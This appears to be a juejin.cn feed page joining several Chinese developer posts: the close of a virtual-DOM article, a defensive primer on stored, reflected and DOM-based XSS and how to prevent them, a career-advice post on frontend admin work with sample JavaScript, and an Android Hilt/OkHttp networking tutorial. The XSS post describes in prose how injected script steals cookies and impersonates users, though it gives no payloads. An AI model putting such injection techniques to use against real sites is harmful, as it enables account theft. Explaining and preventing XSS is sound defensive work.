可以看到虚拟DOM在JavaScript层面虽然多出一个Diff算法的性能消耗,但这毕竟是JavaScript层面的运算,不会产生数量级的差异。而在DOM层,虚拟DOM可以只更新差异部分,对比innerHTML的全量卸载与全量更新性能消耗要小得多。所以模板越大,元素越多,虚拟DOM在更新页面的性能上就越有优势


总结


现在我们可以回答这位面试官的问题了:JQuery属于命令式框架,Vue属于声明式框架。在理论上,声明式代码性能是不优于命令式代码性能的,甚至差于命令式代码的性能。但是声明式框架无需用户手动操作DOM,用户只需关注数据的变化。声明式框架在牺牲了一点性能的情况下,大大降低了开发难度,提高了项目的可维护性,且声明式框架通常使用虚拟DOM的方式,使其在更新页面时的性能大大提升。综合来说,声明式框架仍旧是更好的选择


作者:yep
来源:juejin.cn/post/7425121392738615350
收起阅读 »

盘点下web常见的攻击方式 --- XSS篇

web
前言 Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。 常见的Web攻击方式有以下几种 XSS (Cross Site Scripting) 跨站脚本攻击 CSRF(...
继续阅读 »

前言


Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。


常见的Web攻击方式有以下几种



  • XSS (Cross Site Scripting) 跨站脚本攻击

  • CSRF(Cross-site request forgery)跨站请求伪造

  • SQL注入攻击


本文主要讲解XSS方面。


XSS是什么


XSS,跨站脚本攻击,允许攻击者将恶意代码植入到提供给其它用户使用的页面中。 它涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以借助合法用户的身份信息与网站进行交互。


XSS 有哪些类型


根据攻击的来源,XSS攻击可以分成:



  • 存储型

  • 反射型

  • DOM 型


存储型XSS


存储型XSS的攻击步骤:



  1. 攻击者将恶意代码提交到目标网站的数据库中

  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器

  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作


这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。


反射型XSS


反射型XSS的攻击步骤:



  1. 攻击者构造出特殊的URL,其中包含恶意代码

  2. 用户打开带有恶意代码的URL 时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器

  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作


区别:



  • 存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存在URL里。


反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。


DOMXSS


DOMXSS的攻击步骤:



  1. 攻击者构造出特殊的URL,其中包含恶意代码

  2. 用户打开带有恶意代码的URL

  3. 用户浏览器接收到响应后解析执行,前端JavaScript取出URL中的恶意代码并执行

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作


区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。


如何对XSS攻击进行预防呢?


通过前面介绍,看到XSS攻击的两方面:



  • 攻击者提交恶意代码

  • 浏览器执行恶意代码


针对这两个方面就可以得出几条预防措施:



  1. 输入验证与过滤:

  2. 输出编码:

  3. 使用安全框架和工具:

  4. 实施内容安全策略(CSP):


1.输入验证与过滤:


确保对所有用户输入的数据进行严格验证和过滤,包括表单提交、URL 参数、Cookie 等。使用白名单过滤机制,只允许特定的字符和标签通过,过滤掉所有潜在的恶意代码。这样可以防止攻击者向应用程序提交恶意脚本。


2.输出编码:


在将用户数据输出到 HTML 页面时,使用适当的编码方式对数据进行转义,确保浏览器不会将其解析为可执行的脚本。常用的编码方式包括 HTML 实体编码(例如将 < 转换为 &lt;)和 JavaScript 编码(例如将 ' 转换为 ')。这样可以防止恶意脚本在用户浏览器中执行。


3.使用安全框架和工具:


利用现有的安全框架和工具来帮助检测和防御 XSS 攻击。例如,可以使用 Web 应用程序防火墙(WAF)来检测恶意请求,并且可以配置特定的规则来防止 XSS 攻击。还可以使用专门的 XSS 过滤器来检测和过滤潜在的 XSS 攻击载荷。


4.实施内容安全策略(CSP):


内容安全策略(Content Security Policy,CSP)是一种通过 HTTP 头部来控制页面加载资源的策略,可以有效减轻 XSS 攻击的风险。通过 CSP,可以限制页面加载的资源来源,包括脚本、样式表、图片等,从而防止恶意脚本的执行。


作者:笨鸟更要先飞
来源:juejin.cn/post/7350143110495846450
收起阅读 »

只写后台管理的前端要怎么提升自己

web
本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。 写优雅的代码 一道面试题 大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单...
继续阅读 »

本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。


写优雅的代码


一道面试题


大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单位转换。具体的题目我忘记了。


原题目我没做过,但是我写的业务代码代码里有类似的单位转换,后端返回一个数字,单位是kb,而我要展示成 KBMB 等形式。大概写一个工具函数(具体怎么写的忘记了,不过功能比这个复杂点):


function formatSizeUnits(kb) {
let units = ['KB', 'MB', 'GB', 'TB', 'PB'];
let unitIndex = 0;

while (kb >= 1024 && unitIndex < units.length - 1) {
kb /= 1024;
unitIndex++;
}

return `${kb.toFixed(2)} ${units[unitIndex]}`;
}

而在此之前,是一个后端同学写的代码(说起来,后台管理系统前端人力不够后端帮忙写好像是常规操作,后端总觉得写前端简单,而我只能说你们那代码写的,一言难尽……),如下:


function formatSizeUnits(kb) {
var result = '';

if (kb < 1024) {
result = kb + ' KB';
} else if (kb < 1024 * 1024) {
result = (kb / 1024).toFixed(2) + ' MB';
} else if (kb < 1024 * 1024 * 1024) {
result = (kb / 1024 / 1024).toFixed(2) + ' GB';
} else {
result = (kb / 1024 / 1024 / 1024).toFixed(2) + ' TB';
}

return result;
}

虽然功能都一样,但是我写在面试的时候写了上面的代码得到了面试官的赞扬,也因此非常顺利的通过了面试。而如果我写成了下面的样子,估计不会有这种效果。


如何提升代码质量


想提升代码质量,最理想的是靠 code review ,但实际上这玩意在大多数公司根本就不存在。其次就只能多看看大佬们写的代码,但是一来后台管理本来就没太大难度很少有大佬,二来很多时候一个后台管理系统就一两个人负责。


还好现在有了各种 AI 工具,可以非常方便的优化自己的代码了。


还是上面的问题,看看 GPT 给的答案


// 提问:写一个工具函数,对文件大小的单位进行转换,加注释
// 回答:下面是一个JavaScript工具函数,它接受文件大小、初始单位、目标单位和小数位数,然后返回目标单位下的文件大小。

/**
* 将文件大小从一个单位转换为另一个单位。
*
* @param {number} size 文件大小。
* @param {string} fromUnit 初始单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {string} toUnit 目标单位('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB')。
* @param {number} [decimalPoint=2] 结果保留的小数位数,默认为2。
* @return {string} 转换后的文件大小,带单位。
*/

function convertFileSize(size, fromUnit, toUnit, decimalPoint = 2) {
// 定义单位与字节之间的转换关系
const units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
// 获取初始单位和目标单位的索引
const fromIndex = units.indexOf(fromUnit);
const toIndex = units.indexOf(toUnit);

// 如果单位不在列表中,抛出错误
if (fromIndex === -1 || toIndex === -1) {
throw new Error('Invalid units');
}

// 计算初始单位与目标单位之间的转换系数
const exponent = toIndex - fromIndex;
// 计算结果大小
const resultSize = size / Math.pow(1024, exponent);

// 返回格式化后的结果
return parseFloat(resultSize.toFixed(decimalPoint)) + ' ' + toUnit;
}

// 示例使用
console.log(convertFileSize(1, 'GB', 'MB')); // 输出: 1024.00 MB
console.log(convertFileSize(1, 'MB', 'KB')); // 输出: 1024.00 KB
console.log(convertFileSize(1, 'KB', 'B')); // 输出: 1024.00 B
console.log(convertFileSize(1, 'MB', 'GB', 5)); // 输出: 0.00098 GB

还能说什么,我只能说 NB!(经评论区提示,此段代码可能有问题,建议大家在使用AI工具时,重点是借鉴思路,直接使用代码需要谨慎~)


我现在每次写大段逻辑之后都习惯拿给 AI 看看,有什么更好的实现方式,或者用什么设计模式。AI 是非常低成本且高效提升代码质量的工具。


学会封装


一个功能用到了好多次,为什么不封装成组件?一个组件用到了好几个项目,为什么不单独写个npm包?差不多的项目创建了好几个,为什么不封装成脚手架?


你说,没时间,没必要,复制粘贴反而更快。


那你就完全没理解,这么做不一定是为了让工作更快完成,而是可以让你在年年终述职时更有话说(你就算写了一百个表单表格没有写一个脚手架更值得炫耀),如果不会写可以问问 AI。


而当你真正开始封装组件,开始写工具库了,你会发现你需要思考的确实比之前多了。


关注业务


对于前端业务重要吗?


相比于后端来说,前端一般不会太关注业务。就算出了问题大部分也是后端的问题。


但是就我找工作的经验,业务非常重要!


如果你做的工作很有技术含量,比如你在做低代码,你可以面试时讲一个小时的技术难点。但是你只是一个破写后台管理,你什么都没有的说。这个时候,了解业务就成为了你的亮点。


一场面试


还是拿真实的面试场景举例,当时前同事推我字节,也是我面试过N次的梦中情厂了,刚好那个组做的业务和我之前呆的组做的一模一样。



  • 同事:“做的东西和咱们之前都是一样的,你随便走个过场就能过,我在前端组长面前都夸过你了!”

  • 我:“好嘞!”


等到面试的时候:



  • 前端ld:“你知道xxx吗?(业务名词)”

  • 我:“我……”

  • 前端ld:“那xxxx呢?(业务名词)”

  • 我:“不……”

  • 前端ld:“那xxxxx呢??(业务名词)”

  • 我:“造……”


然后我就挂了………………


如何了解业务



  1. 每次接需求的时候,都要了解需求背景,并主动去理解


    我们写一个表格简简单单,把数据展示出来就好,但是表格中的数据是什么意思呢?比如我之前写一个 kafka 管理平台,里面有表格表单,涉及什么 cluster controller topic broker partition…… 我真的完全不了解,很后悔我几年时间也没有耐下心来去了解。


  2. 每次做完一个需求,都需要了解结果


    有些时候,后台管理的团队可能根本没有PM,那你也要和业务方了解,这个功能做了之后,多少人使用,效率提高了吗?数据是怎样的?


  3. 理解需求,并主动去优化


    产品要展示一千条数据,你要考虑要不要分页,不分页会不会卡,要不要上虚拟表格?


    产品要做一个可拖拽表单,你要考虑是否需要拖动,是否需要配置。


    其实很多时候,产品的思维可能会被局限在竞品的实现方式,而前端可以给TA更多选项。在和产品沟通的时候,你不仅是沟通页面的实现,也更能理解业务。



关注源码


说到源码, Vue,React 这些基本是每次必问,也有太多大佬们的总结我就不多说了。


除此之外,我想大家每次面试应该都会被问,你写了什么亮点的项目,困难的项目,你会说什么?哦,都是表单表格,都用 Element UI 实现的,没什么难度。那估计你面试也就到这里了。


那说什么,后台管理就这些啊?!


如果你用了 Element UI 你可以说写了什么自定义 Element UI 表单组件,Element UI 表单源码是什么原理,怎么通信的?用了 Axios 可以说 Axios 的原理,它的拦截器怎么实现的?用了编辑器 diff 那你知道 diff 算法是什么吗?用了 ECharts 那你知道他底层是用什么绘制的吗?用了 husky ?husky的原理是什么?用了Vite,它为什么快?是怎么打包的?写过插件吗?


可能有人觉得我离谱,事实上上面每一个问题都是我在面试中真实被问到的。当然,如果全部去了解,肯定不现实,每个人的精力有限,不可能每个用到的每个工具每个库都去了解原理,不过只要有一两个你去了解过,就可以在面试中引导面试官来问,要学会表现出你擅长的点


至于怎么读源码?以前我不知道,现在嘛…… 为什么不问问神奇的 ChatGPT 呢?



讲一下 Axios 源码中,拦截器是怎么实现的?


Axios 的拦截器实现基于 Axios 的核心原理,即 Axios 实例是一个包含请求和响应拦截器堆栈的对象。当发出请求或接收响应时,Axios 会遍历这些拦截器,并按照添加的顺序执行请求拦截器,以及按照相反的顺序执行响应拦截器。


在 Axios 的源码中,拦截器是通过一个 AxiosInterceptorManager 实例来管理的,它维护了一个拦截器数组。每个拦截器都是一个包含 fulfilledrejected 函数的对象。这两个函数分别对应于拦截器成功处理和拦截器处理出错的情况。


以下是 Axios 拦截器管理器的一个简化版本,展示了其核心实现思路:


class InterceptorManager {
constructor() {
this.handlers = []; // 存储拦截器的数组
}

use(fulfilled, rejected) {
this.handlers.push({
fulfilled: fulfilled,
rejected: rejected
});
return this.handlers.length - 1; // 返回拦截器的ID
}

eject(id) {
if (this.handlers[id]) {
this.handlers[id] = null; // 移除拦截器
}
}

forEach(fn) {
this.handlers.forEach((h) => {
if (h !== null) {
fn(h);
}
});
}
}

在发送请求或接收响应时,Axios 会创建一个 promise 链,并通过 forEach 方法将拦截器中的 fulfilledrejected 函数添加到这个链中。这样,每个拦截器都可以对请求或响应进行处理,然后将结果传递到链的下一个拦截器,或者在出错时结束链的执行。


axios.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});

axios.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});

在 Axios 的完整实现中,这个拦截器机制被集成到了 Axios 的请求发送和响应处理流程中。通过这种方式,Axios 可以在发送请求之前和接收响应之后,但在用户定义的 .then.catch 执行之前,插入自定义的逻辑。


请注意,这里提供的代码只是为了说明 Axios 拦截器的实现原理,并不是 Axios 源码的完整复制。如果你对 Axios 的拦截器实现细节感兴趣,建议查看 Axios 的官方 GitHub 仓库中的源码。



前端基建


当我们工作时间久了面试难免会遇到这些问题,前端工程化,前端监控,工作流,部署,性能等等。其实我们在工作中绝大部分时间都在写代码,对于这些不是所有人都有机会接触到,不过这些和所做的业务无关,是我们提升自己很好的一个思路。


技术选型


技术栈选 Vue 还是 React?Vue 选 Vue2 还是 Vue3?组件库选 ElementUI 还是 Ant Design?微前端有没有使用过?打包工具用 Vite 还是 Webpack?有那么多表单怎么实现的,有没有什么表单配置化方案,比如Formily?


对于我这种菜鸡,我这种只写简单的表单表格的人,这些都……无所谓……


image.png

不过为了应对面试我们还是需要了解下未选择技术栈的缺点,和已选择技术栈的优点(有点本末倒置…但是常规操作啦)


Vue 你可以说简单高效轻量级,面试必会问你为什么,你就开始说 Vue 的响应式系统,依赖收集等。


React 你可以说 JSX、Hooks 很灵活,那你必然要考虑 JSX 怎么编译, Hooks 实现方式等。


总体而言,对于技术选型,依赖于我们对所有可选项的理解,做选择可能很容易,给出合理的理由还是需要花费一些精力的。


开发规范


这个方面,在面试的时候我被问到的不多,我们可以在创建项目的时候,配置下 ESlintstylelintprettiercommitlint 等。


前端监控


干了这么多年前端,前端监控我是……一点没做过。


image.png

前端监控,简单来说就是我们在前端程序中记录一些信息并上报,一般是错误信息,来方便我们及时发现问题并解决问题。除此之外也会有性能监控,用户行为的监控(埋点)等。之前也听过有些团队分享前端监控,为了出现问题明确责任(方便甩锅)。


对于实现方案,无论使用第三方库还是自己实现,重要的都是理解实现原理。


对于错误监控,可以了解一下 Sentry,原理简单来说就是通过 window.onerrorwindow.addEventListener('unhandledrejection', ...) 去分别捕获同步和异步错误,然后通过错误信息和 sourceMap 来定位到源码。


对于性能监控,我们可以通过 window.performancePerformanceObserver 等 API 收集页面性能相关的指标,除此之外,还需要关注接口的响应时间。


最后,收集到信息之后,还要考虑数据上报的方案,比如使用 navigator.sendBeacon 还是 Fetch、AJAX?是批量上报,实时上报,还是延迟上报?上报的数据格式等等。


CI/CD


持续集成(Continuous Integration, CI)和 持续部署(Continuous Deployment, CD),主要包括版本控制,代码合并,构建,单测,部署等一系列前端工作流。


场景的工作流有 Jenkins、 Gitlab CI 等。我们可以配置在合并代码时自动打包部署,在提交代码时自动构建并发布包等。


这块我了解不多,但感觉这些工具层面的东西,不太会涉及到原理,基本上就是使用的问题。还是需要自己亲自动手试一下,才能知道细节。比如在 Gitlab CI 中, Pipeline 、 Stage 和 Job 分别是什么,怎么配置,如何在不同环境配置不同工作流等。


了解技术动态


这个可能还是比较依赖信息收集能力,虽然我个人觉得很烦,但好像很多领导级别的面试很愿意问。


比如近几年很火的低代码,很多面试官都会问,你用过就问你细节,你没用过也会问你有什么设计思路。


还有最近的两年爆火的 AI,又或者 Vue React的最新功能,WebAssembly,还有一些新的打包工具 Vite Bun 什么的,还有鸿蒙开发……


虽然不可能学完每一项新技术,但是可以多去了解下。


总结


写了这么多,可能有人会问,如果能回到过去,你会怎么做。


啊,我只能说,说是一回事,做又是另一回事,事实上我并不希望回到过去去卷一遍,菜点没关系,快乐就好,一切都是最好的安排。


image.png

作者:我不吃饼干
来源:juejin.cn/post/7360528073631318027
收起阅读 »

那些大厂架构师是怎样封装网络请求的?

好的设计是成功的一半,好的设计思想为后面扩展带来极大的方便 一、前言 网络请求在开发中是必不可少的一个功能,如何设计一套好的网络请求框架,可以为后面扩展及改版带来极大的方便,特别是一些长期维护的项目。作为一个深耕Android开发十几载的大龄码农,深深的体会...
继续阅读 »

5235a0e62ecd314a216da5209ff88326.jpeg



好的设计是成功的一半,好的设计思想为后面扩展带来极大的方便



一、前言


网络请求在开发中是必不可少的一个功能,如何设计一套好的网络请求框架,可以为后面扩展及改版带来极大的方便,特别是一些长期维护的项目。作为一个深耕Android开发十几载的大龄码农,深深的体会到。


网络框架的发展:


1. 从最早的HttpClientHttpURLConnection ,那时候需要自己用线程池封装异步,Handler切换到UI线程,要想从网络层就返回接收实体对象,也需要自己去实现封装


2. 后来,谷歌的 Volley, 三方的 Afinal 再到 XUtils 都是基于上面1中的网络层再次封装实现


3. 再到后来,OkHttp 问世,Retrofit 空降,从那以后基本上网络请求应用层框架就是 OkHttp Retrofit 两套组合拳,基本打遍天下无敌手,最多的变化也就是在这两套组合拳里面秀出各种变化,但是思想实质上还是这两招。


我们试想:从当初的大概2010年,2011年,2012年开始,就启动一个App项目,就网络这一层的封装而言,随着时代的潮流,技术的演进,我们势必会经历上面三个阶段,这一层的封装就得重构三次。


现在是2024年,往后面发展,随着http3.0的逐渐成熟,一定会出现更好的网络请求框架

我们怎么封装一套更容易扩展的框架,而不必每次重构这一层时,改动得那么困难。


本文下面就示例这一思路如何封装,涉及到的知识,jetpack 中的手术刀: Hilt 成员来帮助我们实现。


二 、示例项目


36c2d036-472c-4aa1-acbc-a15bafe2ae6f.jpeg



  1. 上图截图圈出的就是本文重点介绍的内容:怎么快速封装一套可以切换网络框架的项目 及相关 Jetpack中的 Hilt 用法

  2. 其他的1,2,3,4是之前我写的:花式封装:Kotlin+协程+Flow+Retrofit+OkHttp +Repository,倾囊相授,彻底减少模版代码进阶之路,大家可以参考,也可以在它的基础上,再结合本文再次封装,可以作为 花式玩法五


三、网络层代码设计


1. 设计请求接口,包含请求地址 Url,请求头,请求参数,返回解析成的对象Class :


interface INetApi {
/**
* Get请求
* @param url:请求地址
* @param clazzR:返回对象类型
* @param header:请求头
* @param map:请求参数
*/


suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>? = null, map: MutableMap<String, Any>? = null): R

/**
* Get请求
* @param url:请求地址
* @param clazzR:返回对象类型
* @param header:请求头
* @param map:请求参数
* @param body:请求body
*/

suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>? = null, body: String? = null): R
}

2. 先用早期 HttpURLConnection 对网络请求进行实现:


class HttpUrlConnectionImpl  constructor() : INetApi {
private val gson by lazy { Gson() }

override suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, map: MutableMap<String, Any>?): R {
//这里HttpUrlConnectionRequest内部是HttpURLConnection的Get请求真正的实现
val json = HttpUrlConnectionRequest.getResult(BuildParamUtils.buildParamUrl(url, map), header)
android.util.Log.e("OkhttpImpl", "HttpUrlConnection 请求:${json}")
return gson.fromJson<R>(json, clazzR)
}

override suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, body: String?): R {
////这里HttpUrlConnectionRequest内部是HttpURLConnection的Post请求真正的实现
val json = HttpUrlConnectionRequest.postData(url, header, body)
return gson.fromJson<R>(json, clazzR)
}
}

3. 整个项目 build.gradle 下配置 Hilt插件


buildscript {
dependencies {
classpath 'com.google.dagger:hilt-android-gradle-plugin:2.42'
}
}

4. 工程app的 build.gradle 下引入:


先配置:


plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
id 'dagger.hilt.android.plugin'//Hilt使用
id 'kotlin-kapt'//
}

里面的 android 下面添加:


kapt {
generateStubs = true
}

dependencies 里面引入 Hilt 使用


//hilt
implementation "com.google.dagger:hilt-android:2.42"
kapt "com.google.dagger:hilt-android-compiler:2.42"
kapt 'androidx.hilt:hilt-compiler:1.0.0'

5. 使用 Hilt


5.1 在Application上添加注解 @HiltAndroidApp

@HiltAndroidApp
class MyApp : Application() {

}

5.2 在使用的Activity上面添加注解 @AndroidEntryPoint

@AndroidEntryPoint
class MainActivity : BaseViewModelActivity<MainViewModel>(R.layout.activity_main), View.OnClickListener {

override fun onClick(v: View?) {
when (v?.id) {
R.id.btn1 -> {
viewModel.getHomeList()
}
else -> {}
}
}
}

5.3 在使用的ViewModel上面添加注解 @HiltViewModel@Inject

@HiltViewModel
class MainViewModel @Inject constructor(private val repository: NetRepository) : BaseViewModel() {


fun getHomeList() {
flowAsyncWorkOnViewModelScopeLaunch {
repository.getHomeList().onEach {
val title = it.datas!![0].title
android.util.Log.e("MainViewModel", "one 111 ${title}")
errorMsgLiveData.postValue(title)
}
}
}
}

5.4 在 HttpUrlConnectionImpl 构造方法上添加注解 @Inject 如下:

class HttpUrlConnectionImpl @Inject constructor() : INetApi {
private val gson by lazy { Gson() }

override suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, map: MutableMap<String, Any>?): R {
val json = HttpUrlConnectionRequest.getResult(BuildParamUtils.buildParamUrl(url, map), header)
android.util.Log.e("OkhttpImpl", "HttpUrlConnection 请求:${json}")
return gson.fromJson<R>(json, clazzR)
}

override suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, body: String?): R {
val json = HttpUrlConnectionRequest.postData(url, header, body)
return gson.fromJson<R>(json, clazzR)
}
}

5.5 新建一个 annotationBindHttpUrlConnection 如下:

@Qualifier
@Retention(RetentionPolicy.RUNTIME)
annotation class BindHttpUrlConnection()

5.6 再建一个绑定网络请求的 abstract 修饰的类 AbstractHttp 如下:让 @BindHttpUrlConnectionHttpUrlConnectionImpl 在如下方法中通过注解绑定

@InstallIn(SingletonComponent::class)
@Module
abstract class AbstractHttp {


@BindHttpUrlConnection
@Singleton
@Binds
abstract fun bindHttpUrlConnection(h: HttpUrlConnectionImpl): INetApi
}

5.7 在viewModel持有的仓库类 NetRepository 的构造方法中添加 注解 @Inject,并且申明 INetApi,并且绑定注解 @BindHttpUrlConnection 如下: 然后即就可以开始调用 INetApi 的方法

class NetRepository @Inject constructor(@BindHttpUrlConnection val netHttp: INetApi) {

suspend fun getHomeList(): Flow<WanAndroidHome> {
return flow {
netHttp.getApi("https://www.wanandroid.com/article/list/0/json", HomeData::class.java).data?.let { emit(it) }
}
}
}

到此:Hilt使用就配置完成了,那边调用 网络请求就直接执行到 网络实现 类 HttpUrlConnectionImpl 里面去了。


运行结果看到代码执行打印:


7742b372-a54e-4110-9df5-2e2402c033f1.jpeg


5.8 我们现在切换到 Okhttp 来实现网络请求:

新建 OkhttpImpl 实现 INetApi 并在其构造方法上添加 @Inject 如下:


class OkhttpImpl @Inject constructor() : INetApi {

private val okHttpClient by lazy { OkHttpClient() }
private val gson by lazy { Gson() }

override suspend fun <R> getApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, map: MutableMap<String, Any>?): R {
try {
val request = Request.Builder().url(buildParamUrl(url, map))
header?.forEach {
request.addHeader(it.key, it.value)
}
val response = okHttpClient.newCall(request.build()).execute()
if (response.isSuccessful) {
val json = response.body?.string()
android.util.Log.e("OkhttpImpl","okhttp 请求:${json}")
return gson.fromJson<R>(json, clazzR)
} else {
throw RuntimeException("response fail")
}
} catch (e: Exception) {
throw e
}
}

override suspend fun <R> postApi(url: String, clazzR: Class<R>, header: MutableMap<String, String>?, body: String?): R {
try {
val request = Request.Builder().url(url)
header?.forEach {
request.addHeader(it.key, it.value)
}
body?.let {
request.post(RequestBodyCreate.toBody(it))
}
val response = okHttpClient.newCall(request.build()).execute()
if (response.isSuccessful) {
return gson.fromJson<R>(response.body.toString(), clazzR)
} else {
throw RuntimeException("response fail")
}
} catch (e: Exception) {
throw e
}
}
}

5.9 再建一个注解 annotation 类型的 BindOkhttp 如下:

@Qualifier
@Retention(RetentionPolicy.RUNTIME)
annotation class BindOkhttp()

5.10 在 AbstractHttp 类中添加 @BindOkhttp 绑定到 OkhttpImpl,如下:

@InstallIn(SingletonComponent::class)
@Module
abstract class AbstractHttp {

@BindOkhttp
@Singleton
@Binds
abstract fun bindOkhttp(h: OkhttpImpl): INetApi

@BindHttpUrlConnection
@Singleton
@Binds
abstract fun bindHttpUrlConnection(h: HttpUrlConnectionImpl): INetApi
}

5.11 现在只需要在 NetRepository 中持有的 INetApi 修改其绑定的 注解 @BindHttpUrlConnection 改成 @BindOkhttp 便可以将项目网络请求全部改成由 Okhttp来实现了,如下:

//class NetRepository @Inject constructor(@BindHttpUrlConnection val netHttp: INetApi) {
class NetRepository @Inject constructor(@BindOkhttp val netHttp: INetApi) {

suspend fun getHomeList(): Flow<WanAndroidHome> {
return flow {
netHttp.getApi("https://www.wanandroid.com/article/list/0/json", HomeData::class.java).data?.let { emit(it) }
}
}
}

运行执行结果截图可见:


ff042ce9-2e1b-452a-82a1-ddbebef25779.jpeg


到此:网络框架切换就这样简单的完成了。


四、总结



  1. 本文重点介绍了,怎么对网络框架扩展型封装:即怎么可以封装成快速从一套网络请求框架,切换到另一套网络请求上去

  2. 借助于 Jetpack中成员 Hilt 对其整个持有链路进行切割,简单切换绑定网络实现框架1,框架2,框架xxx等。


项目地址


项目地址:

github地址

gitee地址


感谢阅读:


欢迎 点赞、收藏、关注


这里你会学到不一样的东西


作者:Wgllss
来源:juejin.cn/post/7435904232597372940
收起阅读 »